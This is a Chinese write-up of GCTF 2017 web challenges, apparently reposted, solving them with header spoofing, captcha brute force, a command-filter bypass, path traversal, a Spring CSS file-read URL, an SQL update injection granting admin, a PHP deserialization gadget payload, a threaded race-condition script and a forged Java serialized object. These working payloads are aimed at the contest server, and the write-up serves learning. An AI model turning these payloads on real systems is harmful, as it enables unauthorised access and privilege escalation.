GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]

来源:互联网 发布:linux显示文件夹大小 编辑:程序博客网 时间:2024/04/27 22:56

热身题

直接扫描目录发现了robots.txt

这里写图片描述

http://218.2.197.232:18001/rob0t.php-----------------------Congratulation!---------------------------GCTF{ae609880185f1d75}

Forbidden

这里写图片描述

加上

'X-Forwarded-For':'localhost'

这里写图片描述

加上

'HOST':'www.topsec.com'

这里写图片描述

加上

'Referer':'www.baidu.com'

这里写图片描述

本来一阵不耐烦结果到这懵逼了,这是几个意思???然后学习了一波
在服务器端判断request来自Ajax请求(异步)还是传统请求(同步),两种请求在请求的Header不同,Ajax 异步请求比传统的同步请求多了一个头参数。就是如下加上

 x-requested-with:XMLHttpRequest

这里写图片描述

将user-agent改成

User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT 5.1; Trident/4.0)

还没完???

这里写图片描述

继续改…User-Agent

User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT 5.1;.NET CLR 8.0)

这里写图片描述

真是够了!!!这个判断国籍猜测是从语言来判断的,加上

Accept-Language:de-DE

这里写图片描述

真是无语透顶…
看到回应存在

Set-Cookie: login=4e6a59324d545a6a4e7a4d324e513d3d

一开始一位是md5加密,但是解不开…再看看是16进制…啥的,最后发现是false,先转换成16进制,然后base64加密,在转换成16进制,我们构造true的即可
然后添加

Cookie: login=4e7a51334d6a63314e6a553d

终于完成了…

<!--GCTF{Dt24FbREwYJu7P8ekQHEFknK} -->

变态验证码怎么破

这里写图片描述

结合题目问题,猜测是账户的ADMIN,密码是在password.txt中的一个,但是由于存在验证码没法爆破,但是也不能一个个试嗯。果然打开password.txt发现了一个密码列表。但是我不知道这是怎么搞的…没代码没逻辑错误也没听说类似的洞,一切证明还是出题人脑洞大…看看大牛们试怎么做的…
真是长见识了…去点vcode和PHPSESSID值即可验证???纳尼???

这里写图片描述

然后写脚本爆破即可?写了半天不行,直接用burp去爆破好了

这里写图片描述

找到不同的长度即可,然后就得到了flag

GCTF{Qb8HR4pGmScMqgxTSwP7QZmb}

RCE绕过

说是过滤了什么,掏出小本本看看什么可以用来着,发现过滤不过如此,换行用%0a绕过,空格用%09绕过…(一开始我还以为只需要构造空格构造个curl语句,结果并不是来着…)
然后发现还存在什么绕过

这里写图片描述

然而当时看到的神文章让我受益匪浅,过滤了cat、head、more、less,但是我们可以用tac!

这里写图片描述

GCTF{ADFAFADSFASFZVASDFADV}

看了一下别人的wp,居然在源码中…

读文件

这里写图片描述

这里写图片描述

然后发现存在flag.php来着,然后尝试一下发现过滤了flag字段,这就有意思了,掏出小本本
这里写图片描述

这个题目后面不完全是我想的,大概的思路是利用过滤绕过提交的检测!fuzz一发看看什么过滤了,
这里写图片描述

然后就是路径问题,之前找的/a/1.txt并不存在,那么一定是1.txt藏在某个其他的文件夹中,这个只能去试,需要构造特殊的poc

http://218.2.197.232:18008/a/down.php?p=...//down.php

发现访问成功

这里写图片描述

<!--?phperror_reporting(E_ERROR & ~E_NOTICE);$key = "GCTF{drthSDFSDGFSdsfhfg}";?-->

spring-css

google一发发现貌似是一个springcss的漏洞

这里写图片描述

然后如何利用搜索一发,直接利用即可

http://218.2.197.232:18015/spring-css/resources/file:/etc/flagGCTF{db839442402f5874}

看看大佬是怎么找到flag的

这里写图片描述

https://github.com/ilmila/springcss-cve-2014-3625/blob/master/stealfile.sh
歪打正着

注入越权

这个题目没什么思路,感觉是注入但是存在过滤,而且不失gbk编码,也不是宽字节注入,不是很会。然后发现在生日的地方如果输入字母会得到

这里写图片描述

然后随便试了试%发现

这里写图片描述

源码中存在一定的提示
这里写图片描述

但是怎么用并不知道…
谜一样的做法…大佬们猜测是update注入,但是不明白这个uid的注入点是怎么想到的,完全脑洞出来的嘛…
根据提示构造uid,还有role覆盖即可

http://218.2.197.232:18014/edit.phpPOST:name=123123&email=f997552762103d11%40gctf.cn&phone=123123&mobile=123123&address=%E4%B8%AD%E5%9B%BD&birth=11111111&gender=%E9%9A%BE&uid=0, role =0x61646d696e

然后返回页面得到flag

这里写图片描述

GCTF{9CtyJLHMxkjLUs6qfUM5Cmrb}

学习一波,不觉得简单,大佬勿喷…

PHP序列化

<?php//error_reporting(E_ERROR & ~E_NOTICE);ini_set('session.serialize_handler', 'php_serialize');header("content-type;text/html;charset=utf-8");session_start();if(isset($_GET['src'])){    $_SESSION['src'] = $_GET['src'];    highlight_file(__FILE__);    print_r($_SESSION['src']);}?><!DOCTYPE HTML><html> <head>    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  <title>代码审计2</title> </head> <body> 在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。<form action="./query.php" method="POST">        <input type="text" name="ticket" />               <input type="submit" /></form><a href="./?src=1">查看源码</a></body></html>

然后通过qurey.php~下载到了源码(看来以后的源码泄露问题不能老是盯着index.php了)

/************************//*//query.php 閮ㄥ垎浠g爜session_start();header('Look me: edit by vim ~0~')//......class TOPA{    public $token;    public $ticket;    public $username;    public $password;    function login(){        //if($this->username == $USERNAME && $this->password == $PASSWORD){ //鎶辨瓑        $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){            return 'key is:{'.$this->token.'}';        }    }}class TOPB{    public $obj;    public $attr;    function __construct(){        $this->attr = null;        $this->obj = null;    }    function __toString(){        $this->obj = unserialize($this->attr);        $this->obj->token = $FLAG;        if($this->obj->token === $this->obj->ticket){           return (string)$this->obj;        }    }}class TOPC{    public $obj;    public $attr;    function __wakeup(){        $this->attr = null;        $this->obj = null;    }    function __destruct(){        echo $this->attr;    }}*/

这个题目太好了,正好对序列化什么的非常不熟悉,正好学习一波
我们需要注意到在index.php编码方式是php_serialize,而在qurey.php中没有标记,那么就是默认成了php,那么构成反序列化
首先我们需要绕过这个TOPC中的__wakeup,这里通过可以通过修改反序列化后对象的属性个数绕过wakeup的效果,构造代码如下

$a=new TOPA();$b=new TOPB();$c=new TOPC();$c->obj="123";$c->attr="aaaaaa";echo serialize($c);

这里写图片描述

我们将元素的个数从2修改成3完成绕过
这里写图片描述

之后访问http://218.2.197.232:18017/query.php发现存在成功
这里写图片描述

在后面主要就是嵌套的关系了,但是最麻烦的是if($this->obj->token === $this->obj->ticket){这玩意该怎么绕过…然后看大牛的wp学习一波新的姿势…
所以在序列化的时候进行指针引用使$a->ticket = &$a->token;,即可绕过判断!!!
构造

$a=new TOPA();$b=new TOPB();$c=new TOPC();$a->username='aaaaaaaaaaaaaaaaa';$a->password='bbbbbbbbbbbbbbbbbb';$a->ticket = &$a->token;$b->attr=serialize($a);$c->obj="123";$c->attr=$b;echo serialize($c);

然后得到序列化值,注意别忘了改前面的参数个数!!!

http://218.2.197.232:18017/?src=|O:4:"TOPC":3:{s:3:"obj";s:3:"123";s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:127:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";s:17:"aaaaaaaaaaaaaaaaa";s:8:"password";s:18:"bbbbbbbbbbbbbbbbbb";}";}}

这里写图片描述

再访问qurey.php得到flag
真心学习一波!!!

key is:{JJj56M3e26Avvv6gnUZ3S4WZ}GCTF{JJj56M3e26Avvv6gnUZ3S4WZ}

条件竞争

这个题目我还是蛮懵的,因为之前从来没接触过条件竞争,首先下一下源码

<?phpheader("Content-type: text/html; charset=utf-8");session_start();$mysqli = new mysqli("localhost", "root", "", "gctf09");if ($mysqli->connect_errno) {    die("数据库连接错误,多次出现请联系管理员。");}//打印源码if(isset($_REQUEST['showcode'])){    highlight_file(___FILE___);    exit();}$user="";// 初次访问生成用户if(!isset($_SESSION["name"])){    $user=substr(md5(uniqid().uniqid()),8,16);    $_SESSION["name"]=$user;    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");    $stmt->bind_param("ss",$user,md5($user));    $stmt->execute();    $stmt->close();    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");    $stmt->bind_param("s",$user);    $stmt->execute();    $stmt->close();}else{    $user=$_SESSION["name"];}//重置时清理用户信息if($_SERVER["REQUEST_METHOD"] === "POST" && $_GET['method']==="reset" && isset($_POST['password']) ){    $stmt = $mysqli->prepare("DELETE FROM gctf09.`user` where name=?");    $stmt->bind_param("s",$user);    $stmt->execute();    $stmt = $mysqli->prepare("DELETE FROM gctf09.`priv` where name=?");    $stmt->bind_param("s",$user);    $stmt->execute();    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");    $stmt->bind_param("ss",$user,md5($_POST['password']));    $stmt->execute();    $stmt->close();    //判断用户权限时会查询priv表,如果为不为TRUE则是管理员权限    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");    $stmt->bind_param("s",$user);    $stmt->execute();    $stmt->close();    $mysqli->close();    die("修改成功");}$mysqli->close();?><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>条件竞争</title><link crossorigin="anonymous" href="css/frameworks.css"  media="all" rel="stylesheet" /><link crossorigin="anonymous" href="css/github.css"  media="all" rel="stylesheet" />   <link crossorigin="anonymous" href="css/site.css" media="all" rel="stylesheet" /></head><body><div class="setup-wrapper" style=""><div class="setup-main ">      <div class="setup-form-container"><form accept-charset="UTF-8" action="index.php?method=reset" autocomplete="off" class="setup-form js-signup-form" id="signup-form" method="post"><div style="margin:0;padding:0;display:inline"></div>  <h2 class="setup-form-title mb-3">    </h2>  <dl class="form-group"><dt class="input-label"><label autocapitalize="off" autofocus="autofocus" name="name">用户名</label></dt><dd><input placeholder="用户名" autofocus="autofocus" class="form-control" id="name" name="name" size="30" type="text" value="<?php echo $user;?>"></dd></dl>  <dl class="form-group"><dt class="input-label"><label autocapitalize="off" autofocus="autofocus" name="name">新密码</label></dt><dd><input placeholder="密码" autofocus="autofocus" class="form-control" id="password" name="password" size="30" type="text"></dd></dl> <button type="submit" class="btn btn-primary" id="signup_button" data-disable-with="Reset account…">重置账号</button><a href="?showcode=1">查看源码<a/>  <a href="login.php">登录<a/></form></div> <!-- /.setup-form-container -->    </div> <!-- /.setup-main --></div> <!-- /.setup-wrapper --></body></html>

然后可以看到申请新的账号的时候,显示插入user然后判断该用户是不是管理员.在重置的时候显示删掉用户,再该用户权限,再申请一个用户,最后才给用户赋权限
那么如果我们再重置账户的第三步和第四步之间登陆就可以了。因为第四步相当于给用户降权,相当于是告诉系统他不是管理员

方法一:自己写脚本

#_*_ coding:utf-8 _*_import requestsimport threadingurl_change = 'http://218.2.197.232:18009/index.php?method=reset'url_login  = 'http://218.2.197.232:18009/login.php?method=login'cookies={'Cookie': 'PHPSESSID=qq1pcbknl0959hd3ec0fd36s25'}data = {    'name':'6adead81c67aa242',    'password':'6adead81c67aa242123123'}def reset(url_change,data,cookies):    while True:        html = requests.post(url=url_change,data=data,cookies=cookies).text        print htmldef login(url_login,data,cookies):    while True:        html = requests.post(url=url_login,data=data,cookies=cookies).text        print htmlthreads = []        t1=threading.Thread(target=reset,args=(url_login,data,cookies))     t2=threading.Thread(target=reset,args=(url_login,data,cookies))t3=threading.Thread(target=reset,args=(url_login,data,cookies))     t4=threading.Thread(target=reset,args=(url_login,data,cookies))t5=threading.Thread(target=reset,args=(url_login,data,cookies))     threads.append(t1)threads.append(t2)threads.append(t3)threads.append(t4)threads.append(t5)for t in threads:    t.setDaemon(True)    t.start()t.join()#_*_ coding:utf-8 _*_import requestsimport threadingurl_change = 'http://218.2.197.232:18009/index.php?method=reset'url_login  = 'http://218.2.197.232:18009/login.php?method=login'cookies={'Cookie': 'PHPSESSID=qq1pcbknl0959hd3ec0fd36s25'}data = {    'name':'6adead81c67aa242',    'password':'6adead81c67aa242123123'}def reset(url_change,data,cookies):    while True:        html = requests.post(url=url_change,data=data,cookies=cookies).text        print htmldef login(url_login,data,cookies):    while True:        html = requests.post(url=url_login,data=data,cookies=cookies).text        print htmlthreads = []        t1=threading.Thread(target=reset,args=(url_change,data,cookies))        t2=threading.Thread(target=reset,args=(url_change,data,cookies))        t3=threading.Thread(target=reset,args=(url_change,data,cookies))        threads.append(t1)threads.append(t2)threads.append(t3)for t in threads:    t.setDaemon(True)    t.start()t.join()

分开去跑就行

方法二:burpsuite爆破

这个没啥好说的,两个线程同时开炮就行,随便构造一个没用的爆破点然后导入字典跑

这里写图片描述

这里写图片描述

GCTF{KBnLGG6qR2ZdYe4HbUL8XpAP}

感觉条件竞争就是找到一些可以利用的点,然后疯狂地碰撞的样子

Java序列化

首先题目的名字就是提升了,肯定是有关java序列化的问题,当然了原来完全没接触过,首先输入admin抓包看一下

这里写图片描述

返回了一个网址而且后面夹着一堆东西,发现是个跳转嘛,看一下是什么
这里写图片描述

然后补课避免地去分析java序列化到底是什么,查完资料直接上手代码如下

//user类文件package com.ctf.cn;import java.io.Serializable;public class User implements Serializable{    private static final long serialVersionUID = 66662333L;    public Integer id=Integer.valueOf(1);    public String name="admin";}
//Main主函数嗯import java.util.*;import com.ctf.cn.User;import java.io.*;import sun.misc.resources.*;;public class Main {    public static void main(String[] args) throws FileNotFoundException,IOException {        User user = new User();        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("G:/test.txt")));        oo.writeObject(user);        System.out.println("Person对象序列化成功!");        oo.close();    }}

当然这个serialVersionUID 你是不知道的,索性网页会报错!

这里写图片描述

修改过来即可,得到了java的序列化,用python脚本来base64加密一下提交即可

paylaod:http://218.2.197.232:18005/ctfobj/Login?object=rO0ABXNyAA9jb20uY3RmLmNuLlVzZXIAAAAAA/kvvQIAAkwAAmlkdAATTGphdmEvbGFuZy9JbnRlZ2VyO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABdAAFYWRtaW4=
GCTF{NsyTascaUR73uKd7e5YY} 

WEB综合












原创粉丝点击